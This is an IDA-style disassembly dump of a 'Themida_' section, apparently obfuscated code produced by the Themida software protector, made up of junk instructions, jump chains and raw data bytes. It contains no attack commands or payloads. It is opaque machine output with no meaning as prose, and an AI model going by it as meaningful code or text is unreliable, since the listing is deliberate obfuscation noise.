dd 0E9243487h, 119B5h, 0E9242C89h, 0E9Ah, 8B243433h, 0B8E92424h
db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551BF7: ; CODE XREF: Themida_:0055B8A4j
pop ebx
jmp loc_563747
; ---------------------------------------------------------------------------
db 81h, 0C5h, 4
dd 87000000h, 0A1E9242Ch
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551C0B: ; CODE XREF: Themida_:005614F9j
pop edx
jmp loc_56188E
; ---------------------------------------------------------------------------
db 0BDh, 4, 0
dd 0DEE90000h, 0BE0000D6h, 180E1258h, 0BD55DEF7h, 67F32F5Fh
dd 90E9DDF7h, 5F0000DEh, 0E9ED815Dh, 0E94A1436h, 0F2BFh
; ---------------------------------------------------------------------------
loc_551C3C: ; CODE XREF: Themida_:00552282j
push edx
mov edx, 6D3AFF87h
add esi, 2AB966EEh
jmp loc_5599C3
; ---------------------------------------------------------------------------
loc_551C4D: ; CODE XREF: Themida_:0055802Aj
mov esi, 7BD3431Bh
push edx
jmp loc_557709
; ---------------------------------------------------------------------------
dd 24048B54h, 6804C483h, 7F35h, 68240C89h, 694F496Fh, 83240C8Bh
dd 0E98304C4h, 3AD4E901h, 34890000h, 34C6BE24h, 0B85036ADh
dd 7F932CB3h, 0FACC7E2Dh, 9D4EE969h, 0C1810000h, 4, 8704C183h
dd 248B240Ch, 24048F24h, 8924248Bh, 37E9243Ch, 53000138h
dd 86D3E954h, 148B0000h, 8B545724h, 0C481243Ch, 4, 4C781h
dd 0F1680000h, 0E9000006h, 91E5h, 815DEB29h, 5F0BC5EAh
dd 0E9DA013Bh, 11B29h
; ---------------------------------------------------------------------------
loc_551CE4: ; CODE XREF: Themida_:0055BD23j
xor dword ptr [esp], 1007430Bh
pop ecx
jmp loc_559951
; ---------------------------------------------------------------------------
aSpx1lSls db '-≤p∙1▀,$И▀Х',0
align 2
loc_551CFE: ; CODE XREF: Themida_:0055A8DFj
add esp, 4
and eax, ebp
jmp loc_560FCE
; ---------------------------------------------------------------------------
dd 0EF307CB5h, 0FD285966h, 59E8005Bh, 0E9DCC380h, 0AB7Ch
dd 31243C33h, 3C33243Ch, 24248B24h, 0FFF040E9h, 0E9B0B3FFh
dd 4CAh
; ---------------------------------------------------------------------------
loc_551D34: ; CODE XREF: Themida_:00564CADj
mov eax, esp
add eax, 4
push ecx
jmp loc_5594B7
; ---------------------------------------------------------------------------
loc_551D41: ; CODE XREF: Themida_:00562028j
neg al
xor al, 20h
add bh, 0Ch
sub bh, al
sub bh, 0Ch
pop eax
jmp loc_55D376
; ---------------------------------------------------------------------------
aSpS db 'SP[Изы',0
dw 8100h
dd 4C2h, 4EC8100h, 89000000h, 0CBE9243Ch, 89000019h, 4BE56E5h
dd 1000000h, 925BE9F5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551D7E: ; CODE XREF: Themida_:0055D254j
pop esp
jmp loc_563E74
; ---------------------------------------------------------------------------
dd 2B2B850h, 57683CF8h, 5965377Ah, 41CCC181h, 0C1293DB6h
dd 0FFF03CE9h, 2C46BFFFh, 0F80169F6h, 0A8FDE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551DAA: ; CODE XREF: Themida_:00565233j
push 3B11251Bh
pop ebx
shl ebx, 6
shr ebx, 4
jmp loc_5637A5
; ---------------------------------------------------------------------------
db 89h
dd 4C181E1h, 0E9000000h, 44AEh
; ---------------------------------------------------------------------------
loc_551DC8: ; CODE XREF: Themida_:005567C8j
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], edx
jmp loc_553B8D
; ---------------------------------------------------------------------------
dw 0F781h
dd 1215700Bh, 10815E9h, 2AF28100h, 0E93C3D2Eh, 0D3C6h
dword_551E00 dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFEB9Fh
; DATA XREF: Themida_:00550768o
; ---------------------------------------------------------------------------
loc_551E10: ; CODE XREF: Themida_:00551B3Dj
push ecx
jmp loc_55F807
; ---------------------------------------------------------------------------
loc_551E16: ; CODE XREF: Themida_:00565CF1j
pop ebp
pop dword ptr [esp]
pop esp
jmp loc_55D5F4
; ---------------------------------------------------------------------------
dd 0ACE4EB81h, 895609EAh, 0FA9EE9DEh, 0E1890000h, 1086BE56h
dd 98E94D37h
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551E3B: ; CODE XREF: Themida_:00562098j
sub eax, edx
jmp loc_562FDC
; ---------------------------------------------------------------------------
dw 405h
dd 0E9000000h, 5AE7h
; ---------------------------------------------------------------------------
loc_551E4C: ; CODE XREF: Themida_:00562B16j
not eax
jmp loc_550AA6
; ---------------------------------------------------------------------------
loc_551E53: ; CODE XREF: Themida_:00556939j
add esp, 4
add edi, 4
xchg edi, [esp]
pop esp
push eax
push bp
mov bp, 11A0h
mov ax, bp
jmp loc_55C585
; ---------------------------------------------------------------------------
loc_551E72: ; CODE XREF: Themida_:00550AE2j
xor esi, 0DE51195h
sub edx, esi
pop esi
push ebx
mov ebx, 0
sub ebx, 611176FEh
push edx
mov edx, 7706630Ah
shr edx, 3
add edx, 40666791h
jmp loc_55A0AA
; ---------------------------------------------------------------------------
db 81h
dd 807E4DF6h, 2EEE8151h, 173E062h, 56E95EF2h, 0C10000B3h
dd 0C7E903E5h, 5A000073h, 9C7E9h
db 0
; ---------------------------------------------------------------------------
loc_551EBD: ; CODE XREF: Themida_:00560FD7j
shr eax, 10h
xor eax, ecx
jmp loc_560E96
; ---------------------------------------------------------------------------
db 0FFh
dd 34FF2434h, 0CCE4E924h, 0EC830000h, 2DAE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551EDA: ; CODE XREF: Themida_:0055BA60j
pop esi
jmp loc_550F19
; ---------------------------------------------------------------------------
dd 242DD8F7h, 0E980C0BCh, 54A9h
; ---------------------------------------------------------------------------
loc_551EEC: ; CODE XREF: Themida_:0055F8F9j
push esi
push 80200487h
mov esi, [esp]
add esp, 4
sub edi, 2AED54D4h
add edi, esi
add edi, 2AED54D4h
pop esi
add edx, edi
mov edi, [esp]
add esp, 4
add edx, 4
push edx
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_559ECA
; ---------------------------------------------------------------------------
dw 8355h
dd 8F5404ECh, 4812404h, 424h, 0BB685D00h, 89000073h, 0A3BE2434h
dd 0E901FE2Fh, 0BA79h
; ---------------------------------------------------------------------------
loc_551F44: ; CODE XREF: Themida_:0055C3DBj
inc ecx
inc ecx
or ecx, 1D21341Ch
sub ecx, 3A2D011Ch
add ebx, ecx
pop ecx
sub esp, 4
jmp loc_553C33
; ---------------------------------------------------------------------------
loc_551F60: ; CODE XREF: Themida_:005631D5j
mov esp, [esp]
mul cx
push small 72CCh
mov [esp], dx
push ax
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_551F76: ; CODE XREF: Themida_:loc_55BF65j
shr edx, 1
cmp eax, edx
jz loc_552EC2
push 2A32h
mov [esp], ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_556DCC
; ---------------------------------------------------------------------------
dd 81242C8Bh, 4C4h, 0D500E900h, 0E0890000h, 405h, 40500h
dd 0A6E90000h
db 0D6h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551FBF: ; CODE XREF: Themida_:005563AAj
add ecx, ebp
sub ecx, 307D4D19h
pop ebp
or ecx, 41E154BEh
add ecx, 360E2005h
add esi, ecx
jmp loc_552ABE
; ---------------------------------------------------------------------------
db 66h
dd 0F5885150h, 0E959EC88h, 106A3h, 6EFFB951h, 0A7E97AC6h
db 1Bh, 1, 0
; ---------------------------------------------------------------------------
loc_551FF3: ; CODE XREF: Themida_:0055AE5Fj
push esi
mov esi, esp
add esi, 4
jmp loc_55BE55
; ---------------------------------------------------------------------------
loc_552001: ; CODE XREF: Themida_:0055325Cj
sub ebx, 0ADD28ACCh
sub esi, ebx
pop ebx
sub esi, edi
add esi, 4AA26651h
push edx
mov edx, 0E59328Ch
add esi, edx
pop edx
pop edi
and eax, esi
mov esi, [esp]
add esp, 4
jmp loc_5583E4
; ---------------------------------------------------------------------------
db 0BFh, 70h, 49h
dd 0FE0132C2h, 0F485E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552036: ; CODE XREF: Themida_:00557C7Cj
mov ecx, [eax]
mov eax, [esp]
add esp, 4
push dword ptr [esp]
pop edx
jmp loc_55B469
; ---------------------------------------------------------------------------
db 56h
dd 4BEh, 0D8ACE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552052: ; CODE XREF: Themida_:0055CCBDj
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
sub ebx, edi
pop edi
xchg ebx, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_554A4F
; ---------------------------------------------------------------------------
aNhf@ db '╜h■@',0 ; DATA XREF: Themida_:005507E4o
align 2
dw 3489h
dd 6F4BE24h, 2068523Dh, 8900003Ah, 58E92414h
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55208B: ; CODE XREF: Themida_:005597A2j
and edi, 63C26ABBh
push esi
push edx
jmp loc_55F0C9
; ---------------------------------------------------------------------------
dd 4BFh, 5FFE0100h, 402D68h, 240C8900h, 8904EC83h, 0FDBF243Ch
dd 0E9388C16h, 436Eh, 0E904C383h, 0A88Bh, 75D368h, 243C8900h
dd 13357E9h
db 0
; ---------------------------------------------------------------------------
loc_5520CD: ; CODE XREF: Themida_:00557461j
xor [esp], ecx
jmp loc_554E0C
; ---------------------------------------------------------------------------
loc_5520D5: ; CODE XREF: Themida_:0055ABA0j
mov ecx, esi
pop esi
jmp loc_553CB0
; ---------------------------------------------------------------------------
db 89h, 0CBh, 8Bh
dd 0C481240Ch, 4, 99B2E9h
db 0
; ---------------------------------------------------------------------------
loc_5520ED: ; CODE XREF: Themida_:0056199Bj
mov eax, esp
jmp loc_55568B
; ---------------------------------------------------------------------------
loc_5520F4: ; CODE XREF: Themida_:00553E52j
pop ebx
sub edx, 45F645DCh
add edx, esi
add edx, 45F645DCh
jmp loc_56409E
; ---------------------------------------------------------------------------
loc_552108: ; CODE XREF: Themida_:0056367Cj
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_551B20
; ---------------------------------------------------------------------------
loc_55211F: ; CODE XREF: Themida_:00561E15j
push edx
jmp loc_555CD6
; ---------------------------------------------------------------------------
db 0C1h, 0E5h, 2
dd 11ED814Dh, 310A6203h, 3BE95DEEh, 0BF000049h, 2C14232h
dd 5BA9F781h, 0C7816792h, 0C913EFD4h, 0E95FF901h, 11488h
dd 0E4C0D4F6h, 0B6B35303h, 305BDC28h, 0B0C2E9E5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552162: ; CODE XREF: Themida_:0055B150j
mov [esp], edx
mov edx, esp
add edx, 4
push 2308h
mov [esp], esi
mov esi, 312F75DCh
add esi, 791D0901h
add esi, 55B38127h
jmp loc_55D6DE
; ---------------------------------------------------------------------------
db 8Bh
dd 3CE9240Ch, 66000072h, 0E924148Bh, 0D5D5h, 9C2404FFh
dd 0FDBBE9h, 24142900h, 0A5240481h, 0E96CA355h, 6367h
dd 0B7241C89h, 9CA8E921h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5521BE: ; CODE XREF: Themida_:00553D9Fj
mov edx, 77BF5D97h
sub edx, 66DF2B54h
push edx
xchg edi, [esp]
jmp loc_565319
; ---------------------------------------------------------------------------
dw 0FB89h
dd 7AEB815Fh, 0C1434562h, 0E38103E3h, 82676F6h, 5BC8CB81h
dd 0E3810B40h, 0C2E15ECh, 15C4EB81h, 0DF010800h, 19ECE95Bh
dd 0CBFE0001h, 321BE9h
db 0
; ---------------------------------------------------------------------------
loc_552205: ; CODE XREF: Themida_:00562B30j
pop esp
add esp, 4
shr ecx, 7
push dword ptr [edi+1Ch]
push ebp
mov ebp, 576A5A8Ah
sub dword ptr [esp+4], 7A177F10h
add dword ptr [esp+4], 1BBF30A6h
add [esp+4], ebp
sub dword ptr [esp+4], 1BBF30A6h
jmp loc_55BE30
; ---------------------------------------------------------------------------
loc_552239: ; CODE XREF: Themida_:00558174j
pop ebp
add edx, esi
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add edx, eax
push esi
mov esi, 5B68364Ch
sub edx, esi
pop esi
jmp loc_55E93E
; ---------------------------------------------------------------------------
dw 895Ch
dd 0E389241Ch, 2AB3E957h
db 1, 0
; ---------------------------------------------------------------------------
loc_55226E: ; CODE XREF: Themida_:0055398Ej
add esi, 0FFFFFFFFh
shr esi, 8
push esi
neg dword ptr [esp]
pop esi
add esi, 557B0EB4h
jmp loc_551C3C
; ---------------------------------------------------------------------------
db 0B8h
dd 54255104h, 3158C131h, 0E9C831C1h, 14D7h, 83242C8Bh
dd 0AE904C4h, 890000EAh, 2B9240Ch, 0E9000000h, 0CA57h
; ---------------------------------------------------------------------------
loc_5522B0: ; CODE XREF: Themida_:0055B6B4j
pop edi
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
and eax, ebx
jmp loc_55AEF8
; ---------------------------------------------------------------------------
dw 0E950h
dd 0F062h
; ---------------------------------------------------------------------------
loc_5522C8: ; CODE XREF: Themida_:00562979j
pop esp
or edx, eax
shl edx, 1
push ecx
jmp loc_561B6C
; ---------------------------------------------------------------------------
loc_5522D3: ; CODE XREF: Themida_:0055B0D7j
push esi
jmp loc_564D95
; ---------------------------------------------------------------------------
loc_5522D9: ; CODE XREF: Themida_:0056555Bj
mov esp, [esp]
jmp loc_555593
; ---------------------------------------------------------------------------
db 4Dh, 81h, 0F5h
dd 44FE2EB5h, 8744C581h, 73E91984h
db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5522F3: ; CODE XREF: Themida_:00564048j
mov esp, [esp]
mov [esp], ecx
jmp loc_55C43A
; ---------------------------------------------------------------------------
dw 0F581h
dd 6BAF6D34h, 685DEB89h, 3BF8h, 21E2E9h, 0C3EB8100h, 0E95BF57Bh
dd 0A89Ch
; ---------------------------------------------------------------------------
loc_55231C: ; CODE XREF: Themida_:00556529j
xor edi, 68530E7Fh
shr edi, 4
jmp loc_563E22
; ---------------------------------------------------------------------------
dw 34FFh
aL4St db '$▀4$И▓,',0
db 0
; ---------------------------------------------------------------------------
loc_552335: ; CODE XREF: Themida_:005517EAj
add esp, 4
add esp, 4
add edi, 5CB60FE7h
jmp loc_5650EA
; ---------------------------------------------------------------------------
dw 1431h
aSt_0 db '$ИTи',0
align 2
loc_55234E: ; CODE XREF: Themida_:00561484j
push 6B372668h
pop ebp
push esi
mov esi, 6B372664h
sub ebp, esi
pop esi
push esi
mov esi, 3AD450F5h
and esi, 7E6B2DBEh
xor esi, 0BFF62FFh
sub ecx, esi
jmp loc_55514A
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 213FF681h, 87E933B3h
db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552387: ; CODE XREF: Themida_:005580F3j
sub dword ptr [esp], 33097609h
mov eax, [esp]
push edx
jmp loc_5638CA
; ---------------------------------------------------------------------------
aBaMHb db '│М╫M[ hb`',0
align 2
dw 3C89h
dd 7CCFBF24h, 0EFC144A1h, 80CF8105h, 816D6E0Bh, 0B781ECFh
dd 9EC7812Ch, 81129549h, 5EB068F7h, 8BC581C7h, 179DB24h
dd 8BED81FDh, 5F79DB24h, 2714BE56h, 0D14E6D3Dh, 590BE9E6h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5523E2: ; CODE XREF: Themida_:00557BDDj
push dword ptr [esp]
pop ebp
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
or edx, eax
jmp loc_562556
; ---------------------------------------------------------------------------
loc_5523FD: ; CODE XREF: Themida_:0055337Aj
neg esi
add esi, 629AC2D4h
shl esi, 5
jmp loc_5527A7
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 0BBE9D6F7h, 56000134h, 985722BEh, 0BA7CE90Eh, 0C3FE0000h
dd 804BF380h, 0DD00C2C5h, 28626866h, 241C8966h, 51E9DCB3h
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55243B: ; CODE XREF: Themida_:0055BB28j
push ebp
jmp loc_556749
; ---------------------------------------------------------------------------
loc_552441: ; CODE XREF: Themida_:0055E212j
xor edi, [esp]
jmp loc_558474
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0B2068h, 0EEDAE900h, 89660000h, 81B3241Ch, 1043AE9h
dd 0D9885100h, 5B590888h, 592434FFh, 4EC81h, 7FE90000h
db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552477: ; CODE XREF: Themida_:00558306j
mov esi, [esp]
add esp, 4
mov ebx, [esp]
jmp loc_55E30A
; ---------------------------------------------------------------------------
dd 6EA3F281h, 0EA814C74h, 0C181C303h, 295AD589h, 0E3E95DEBh
dd 530000ADh, 0DC2332BBh, 7DC2B93Eh, 0D931077Bh, 0F7D9F75Bh
dd 3AB850D1h, 51FE65Bh, 19C103B1h, 7DAE9h, 0E9515600h
dd 830Eh
; ---------------------------------------------------------------------------
loc_5524C8: ; CODE XREF: Themida_:00554E34j
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
shr ecx, 6
push 7F5h
jmp loc_5580F0
; ---------------------------------------------------------------------------
dw 5105h
dd 11A640Fh, 0F512DE8h, 0B051A64h, 0E9122A5Bh, 0FFFFF9CFh
; ---------------------------------------------------------------------------
loc_5524F8: ; CODE XREF: Themida_:005620F6j
pop edi
add ecx, 1E714284h
pop ebp
add ecx, edi
sub ecx, 79E65719h
sub esp, 4
mov [esp], ebx
mov ebx, 0
add ebx, ecx
add eax, [ebx]
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
push 56D3h
mov [esp], eax
jmp loc_55F0BC
; ---------------------------------------------------------------------------
dd 31241433h, 0ABE92414h, 8B000056h, 0C483241Ch, 24143304h
dd 33241431h, 0FF5C2414h, 34FF2434h, 0C4815A24h, 4, 88DE955h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55255A: ; CODE XREF: Themida_:005630D3j
push eax
mov eax, 6A3E535Bh
shr eax, 3
jmp loc_55C8DD
; ---------------------------------------------------------------------------
aLSvc db '▀<$И┌≈',0
align 10h
dd 0B80B1FBDh, 0E9EA8967h, 11A03h
; ---------------------------------------------------------------------------
loc_55257C: ; CODE XREF: Themida_:00556B01j
mov edi, 7A35433Dh
sub [esp+8], edi
pop edi
add [esp+4], eax
jmp loc_551362
; ---------------------------------------------------------------------------
loc_55258F: ; CODE XREF: Themida_:005583B9j
xor eax, edx
jmp loc_55D1FF
; ---------------------------------------------------------------------------
dw 0E389h
dd 1952E9h, 7EAC100h, 36E0EA81h, 0EA81071Eh, 576E3A57h
dd 0E441E9h, 0E3F9E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5525B6: ; CODE XREF: Themida_:005632F7j
mov edx, 445B2FE5h
inc edx
xor edx, 2CD5610Eh
or edx, 64094396h
jmp loc_55D6C3
; ---------------------------------------------------------------------------
db 0F6h, 0D1h, 50h
dd 405E089h, 81000000h, 4ECh, 8CB4E900h, 0D5090000h, 8268565Ah
dd 8B42D236h, 89522434h, 0C52AE9E2h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5525F6: ; CODE XREF: Themida_:005587CEj
add edi, 2F2D4937h
inc edi
jmp loc_5633F8
; ---------------------------------------------------------------------------
dw 0F001h
dd offset dword_52A048+6A1h
dd 0F7E95600h
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55260F: ; CODE XREF: Themida_:00557B8Aj
dec ebp
jmp loc_563191
; ---------------------------------------------------------------------------
db 68h, 0BBh, 32h
dd 8F540000h, 0B8502404h, 4, 4244401h, 0E924048Bh, 0DB44h
; ---------------------------------------------------------------------------
loc_552630: ; CODE XREF: Themida_:0055D419j
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], ax
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_552640: ; CODE XREF: Themida_:0055FD1Dj
xor ch, 3
jmp loc_5578C3
; ---------------------------------------------------------------------------
dd 26F15BEh, 5EF53173h, 48EDC581h, 0DDF737E8h, 0C829E9h
dd 24043100h, 0FFF3C3E9h, 4C681FFh, 81000000h, 4C6h, 24348700h
dd 6824248Bh, 2A7Fh, 0E9240C89h, 430h, 0FFE326E9h, 2683BBFFh
dd 0B4057CBBh, 816D2A78h, 4ECh, 0F546E900h, 34FFFFFFh
dd 3BE95824h, 83000058h, 48904ECh, 7C79B824h, 560D7A0Eh
dd 35405351h, 76E02C7Ch, 89E9D0F7h
db 94h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5526C3: ; CODE XREF: Themida_:00559B30j
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_5658CA
; ---------------------------------------------------------------------------
dd 19F2E952h, 535D0001h, 7873E7BBh, 0F13AE96Ah, 2C890000h
dd 0FEE95424h, 1000021h, 242C8BEAh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_555F11
; ---------------------------------------------------------------------------
loc_552700: ; CODE XREF: Themida_:00553F6Fj
push ecx
jmp loc_564690
; ---------------------------------------------------------------------------
loc_552706: ; CODE XREF: Themida_:0055C893j
pop edx
jmp loc_5607C1
; ---------------------------------------------------------------------------
dd 88E9D701h
db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552713: ; CODE XREF: Themida_:00562E2Fj
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55E656
; ---------------------------------------------------------------------------
byte_552731 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550850o
dd 9F1E9h, 7B676800h, 4890000h, 85B65224h, 148BF488h, 4C48324h
dd 0D87CE9h, 40500h, 4050000h, 0E9000000h, 69E6h
; ---------------------------------------------------------------------------
loc_552760: ; CODE XREF: Themida_:00558AC3j
xor esi, [esp]
xor [esp], esi
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
push dword ptr [esp]
jmp loc_55B283
; ---------------------------------------------------------------------------
aIusu db '┴ЦИ⌠е',0
align 4
dword_552794 dd 24048B66h, 4EC81h, 2C890000h, 14E95424h ; DATA XREF: Themida_:005506E8o
db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5527A7: ; CODE XREF: Themida_:00552408j
push 5B5Ah
mov [esp], ebp
push esi
mov esi, 588A0B61h
mov ebp, 21F44516h
jmp loc_55513A
; ---------------------------------------------------------------------------
db 83h
dd 5D042404h, 4C581h, 0C5810000h, 4, 0BB08E9h, 0C6015A00h
dd 5D545558h, 180CE9h, 4C28100h, 81000000h, 4C2h, 24148700h
dd 0F9AAE95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5527F6: ; CODE XREF: Themida_:005583A0j
and ebx, esi
pop esi
push edx
jmp loc_554127
; ---------------------------------------------------------------------------
db 66h
dd 51241489h, 8904EC83h, 5CB02404h, 48BC588h, 4C48324h
dd 125B4E9h
db 0
; ---------------------------------------------------------------------------
loc_552819: ; CODE XREF: Themida_:0055D6FAj
pop edx
jmp loc_55E98C
; ---------------------------------------------------------------------------
byte_55281F db 66h ; DATA XREF: Themida_:005507D0o
dd 6824048Bh, 7AB6h, 0E9240489h, 11964h
; ---------------------------------------------------------------------------
loc_552830: ; CODE XREF: Themida_:0055E3E5j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
and ecx, esi
mov esi, [esp]
jmp loc_558D3A
; ---------------------------------------------------------------------------
db 57h, 0BFh, 0A7h
dd 94BE629h, 0BD18E9FBh, 0CB800000h, 5CEAE93Bh, 835A0000h
dd 626804EFh, 0E900001Ah, 0C55Fh, 1C3DBF57h, 0E9552516h
dd 1C7h, 5376FEB8h, 0E9C6010Ah, 11080h, 5304C483h, 0C3815B54h
dd 4, 8704EB83h, 895C241Ch, 0DEB5240Ch, 0E580CDFEh, 0DACD8034h
dd 8008C580h, 4DE90FC5h, 89000036h, 98F6E9C3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5528B6: ; CODE XREF: Themida_:00565A2Aj
mov esp, [esp]
or edx, eax
shl edx, 1
push ebx
push ecx
mov ecx, 5609799Ch
mov ebx, 0BB34C0D3h
jmp loc_5538DA
; ---------------------------------------------------------------------------
dw 0E95Eh
dd 0FFFFE0DBh, 0E9242C89h, 10C35h, 5C243C87h, 103A1E9h
db 0
; ---------------------------------------------------------------------------
loc_5528E5: ; CODE XREF: Themida_:00551B94j
mov [esp], edi
mov edi, 1
and eax, edi
mov edi, [esp]
push edx
push esp
pop edx
add edx, 4
push ecx
mov ecx, 22A856E3h
xor ecx, 52CD4DBAh
push ebp
mov ebp, 26649D0h
add ebp, 9910E0Bh
xor ebp, 59AC56B0h
dec ebp
xor ebp, 52FC06E4h
add ecx, ebp
jmp loc_560E80
; ---------------------------------------------------------------------------
loc_552927: ; CODE XREF: Themida_:0055835Bj
push eax
push esi
push 7CF4444Ch
mov esi, [esp]
add esp, 4
shr esi, 3
shr esi, 2
xor esi, 6F31CAE3h
push ebx
mov ebx, esi
jmp loc_564F3A
; ---------------------------------------------------------------------------
db 33h
dd 895C241Ch, 0C3682404h, 89000078h, 4832424h, 68580424h
dd 541Dh, 0E9242C89h, 5AF3h, 3FFF3568h, 241C8BE9h, 4C481h
dd 0C3810000h, 73BB53F3h, 6857D301h, 52F9158Dh, 0FFE7D3E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55298D: ; CODE XREF: Themida_:0055473Cj
push ecx
mov ecx, 1
add eax, ecx
jmp loc_563E4D
; ---------------------------------------------------------------------------
loc_55299A: ; CODE XREF: Themida_:005573BDj
add edx, 4
jmp loc_556534
; ---------------------------------------------------------------------------
a1SL db '1аИмL',0
align 4
dd 0FFDFFEE9h, 2474FFFFh, 4568E904h, 912D0000h, 501F325h
dd 477161D9h, 5825E95Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5529CA: ; CODE XREF: Themida_:00559CE2j
pop esi
jmp loc_563337
; ---------------------------------------------------------------------------
loc_5529D0: ; CODE XREF: Themida_:00556325j
mov edi, 4F2E6FE3h
sub edi, 653A3B71h
neg edi
add edi, 83380C8h
add ecx, edi
pop edi
push ebp
mov ebp, 55E52B45h
add ecx, ebp
pop ebp
jmp loc_5631B1
; ---------------------------------------------------------------------------
loc_5529F4: ; CODE XREF: Themida_:0056517Dj
add [esp+4], eax
pop eax
pop esi
jmp loc_55DE6C
; ---------------------------------------------------------------------------
db 1
dd 2887E9FBh, 87580001h, 535C241Ch, 0CC3626BBh, 0EAEB8103h
dd 0C12FAE74h, 0E0E902E3h, 68000088h, 2B1Fh, 436CE9h
db 0
; ---------------------------------------------------------------------------
loc_552A29: ; CODE XREF: Themida_:0055622Cj
mov edx, esp
jmp loc_56392F
; ---------------------------------------------------------------------------
dd 0E924048Bh, 65A6h, 4FE9CA29h, 0BD000068h, 4590A31h
dd 815DEF01h, 0E657EC7h, 22C0E96Eh, 0DBF70000h, 4747E9h
dd 0D8296600h, 5665B66h, 29661795h, 0BD6655D0h, 81661216h
dd 66FA81EDh, 665DE829h, 6620D905h, 0E934B605h, 0FFFFF713h
; ---------------------------------------------------------------------------
loc_552A80: ; CODE XREF: Themida_:00557943j
pop ebx
jmp loc_559DE6
; ---------------------------------------------------------------------------
dw 0B9BDh
dd 292C4D68h, 12E95DE8h, 800000C1h, 0CBFEA5F3h, 78E9CBFEh
dd 5D00002Dh, 6AEB8143h, 8114A18Fh, 45701CE9h, 0E9D90124h
dd 10415h, 0BB36A5B9h, 1CF4E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552ABE: ; CODE XREF: Themida_:00551FD6j
pop ecx
sub esp, 4
mov [esp], edx
mov edx, 2
add esi, 50C4788Eh
add esi, 354E68DBh
add esi, 267140ACh
add esi, edx
jmp loc_55A083
; ---------------------------------------------------------------------------
db 89h
dd 0BB53240Ch, 3F981BF7h, 8108EBC1h, 7C9BD7C3h, 73DAB928h
dd 0AAE93211h, 500000F3h, 2C5A5868h, 0FBECE900h, 8B5F0000h
dd 0C4812414h, 4, 3C8BF801h, 4C48324h, 31240433h, 4332404h
dd 66E9E924h, 0CA090000h, 83240C8Bh, 814A04C4h, 0F371B3EAh
dd 8BD6090Bh, 0C4832414h, 4EC8104h, 89000000h, 0A5BD242Ch
dd 0E95EB22Fh, 128FEh
; ---------------------------------------------------------------------------
loc_552B54: ; CODE XREF: Themida_:00558587j
add esp, 4
xor ebp, [esp]
jmp loc_55E45E
; ---------------------------------------------------------------------------
dw 0AAB9h
dd 0F74EFE4Eh, 39E981D9h, 0E9D536EEh, 78AAh, 34FF535Ch
dd 0D6685824h, 89000029h, 46E92414h, 53000116h, 0D34CE9h
db 0
byte_552B8D db 66h, 0ADh, 66h ; DATA XREF: Themida_:00550808o
dd 31BB6653h, 8C056665h, 0D801665Eh, 5E8C2D66h, 241C8B66h
dd 6602C483h, 5566D801h, 28AC68h, 241C8900h, 93BDE9h
db 0
; ---------------------------------------------------------------------------
loc_552BB9: ; CODE XREF: Themida_:00563742j
add esp, 4
jmp loc_561E1A
; ---------------------------------------------------------------------------
dd 0CE9CD01h, 0C0000094h, 0EB8005EBh, 0D3B9E9CDh, 0FF520000h
dd 0E9042474h, 0D5A0h, 35E9D331h
db 0E6h, 2 dup(0)
